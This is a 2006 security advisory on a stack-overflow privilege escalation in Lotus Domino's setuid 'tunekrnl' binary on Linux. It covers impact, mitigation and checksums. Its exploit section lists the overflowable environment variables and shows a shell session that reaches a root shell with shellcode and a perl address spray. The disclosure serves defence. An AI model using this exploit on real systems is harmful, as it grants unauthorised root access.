

Security Advisory

November 2006

Lotus Notes 'tunekrnl' stack privilege escalation



Copyright and Disclaimer

The information in this advisory is Copyright 2006 FortConsult A/S. It is provided so that our customers and others understand the risk they may be facing by running affected software on their systems.

In case you wish to copy information from this advisory, you must either copy all of it or refer to this document (including our URL).

No guarantee is provided for the accuracy of this information, or damage you may cause your systems in testing.

The Security Research Team

This advisory has been discovered by FortConsults Security Research Team/Andrew Christensen.

FortConsult is a specialist in technical services within the field of IT security. We are vulnerability experts that help business enterprises to protect themselves against the numerous security threats that exist today – both as impartial consultants and with responsibility for specific tasks. Our primary services are security tests and practically-oriented security consultancy.

For more information: www.fortconsult.net.

Table of Contents

The Security Research Team.....	2
Table of Contents.....	2
Brief Description & Introduction.....	3
What software is affected?	3
Primary targets.....	3
Who can exploit this and where from?	3
What is the impact of exploitation?	3
Mitigation	3
Vulnerable file details.....	3
Archive checksums:	4
Binary checksums and timestamp.....	4
Exploit Details.....	4
Why the vulnerability is present	5

Brief Description & Introduction

This advisory describes a local priv-escalation vulnerability in a component of Lotus Domino running on Linux. Exploitation will directly grant root privileges.

The vulnerability appears to be a stack-overflow bug, and relates to handling of environment variables.

What software is affected?

'tunekrnl' is a program included with installations of Lotus Domino version 7.0. The apparent intent of this program is to "tune" certain kernel settings in order to optimize the system's disk and network interaction for best performance with Lotus Domino.

Presently, any installation of the Lotus Domino server can be exploited, as long as the 'tunekrnl' binary exists and is SUID root.

Primary targets

Primary targets for this vulnerability are SuSE linux machines and RedHat machines.

This is because 'tunekrnl' checks for the presense of either /etc/SuSE-release or /etc/redhat-release before executing the exploitable code paths. If these files are not present, 'tunekrnl' will not be exploitable.

The testbed used to research this vulnerability was a Gentoo machine. Here, a file named "/etc/redhat-release" was created before testing the issues described in this vulnerability.

Who can exploit this and where from?

This is a LOCAL exploit. Anyone exploiting this issue will need to be able to execute arbitrary commands on the system. Some possible ways they could have the required access are:

1. a shell account on the system (to be able to SSH or telnet in)
2. someone guessing a Lotus Domino username / password allowing them to schedule tasks (which would normally run with privileges of the 'notes' account/group)

What is the impact of exploitation?

In short, a user with the ability of executing commands on the system can execute arbitrary code with "root" privileges.

Mitigation

Patched versions of the software are available from IBM, see the following URL for details:

<http://www-1.ibm.com/support/docview.wss?rs=475&uid=swg21249173>

Alternately, simply delete the 'tunekrnl' binary or remove the SUID bit from the file permissions for this file.

Vulnerable file details

A "tar" archive of Lotus Domino was downloaded from IBM's website on Thursday March 9th,

2006, by clicking on the “trial version” link.

Archive checksums:

The checksums of this 'tar' archive file are:

MD5: bb125666b6f67319737088b856681467

SHA1: 3dc56df7d7abc4483ebdce3f5ebab47b8aa4f080

Binary checksums and timestamp

The checksums of the 'tunekrnl' binary analyzed are:

MD5: f0ecd4a3082ced6b908a9f17bd83055e

SHA1: 5c2a008e6e14e53b87a7fc0eb314a69af59989a2

The file on the disk also had a timestamp of August 17th, 2005. This timestamp is set by the Lotus installation program, and most likely reflects when the 'tunekrnl' binary was added to the installation archive at IBM.

Exploit Details

Exploitation of this vulnerability is quite simple, basically involving three steps:

1. Place necessary shellcode to perform seteuid(0) and then exec /bin/sh in the environment as the variable named “SC” (a suitable shellcode example was found on <http://www.packetstormsecurity.org>, and is credited to “eSDee of Netric” in the source)
2. Find memory address of “SC” variable.
3. Overflow one of the overflowable environment variables using the address of the “SC” variable.

Overflowable environment variable names:

DOMINO_LINUX_SET_PARMs

DOMINO_LINUX_MAPPED_BASE

DOMINO_LINUX_FILEMAX

DOMINO_LINUX_SHMMAX

DOMINO_LINUX_SEM

DOMINO_LINUX_TCP_FIN_TIMEOUT

DOMINO_LINUX_TCP_MAX_SYN_BACKLOG

DOMINO_LINUX_TW_REUSE

DOMINO_LINUX_IP_LOCAL_PORT_RANGE

DOMINO_LINUX_MAPPED_BASE

A basic example of exploitation looks like this:

```
ksh$ id

uid=1011(notes) gid=100(users) groups=100(users)

ksh$ export SC=`./execve`; getenvaddr SC

SC 0xbffffc4a

ksh$ export DOMINO_LINUX_IP_LOCAL_PORT_RANGE=AA`perl -e 'print
"\x5a\xfc\xff\xbf" x 10000'`

ksh$ /thinboy/lotus/notes/latest/linux/tunekrnl

sh-2.05b# id

uid=0(root) gid=100(users) groups=100(users)
```

Why the vulnerability is present

This is an entirely run-of-the-mill stack overflow. The likely cause is that IBM's programmers have used 'strcpy' instead of 'strncpy'.

This can be seen using the "objdump" command:

```
testcode@thoughtpolice Advisories $ objdump -R
/thinboy/lotus/notes/latest/linux/tunekrnl |grep strc

08053618 R_386_JUMP_SLOT strcmp
0805365c R_386_JUMP_SLOT strcpy
```

FORTCONSULT

Straight talk on IT security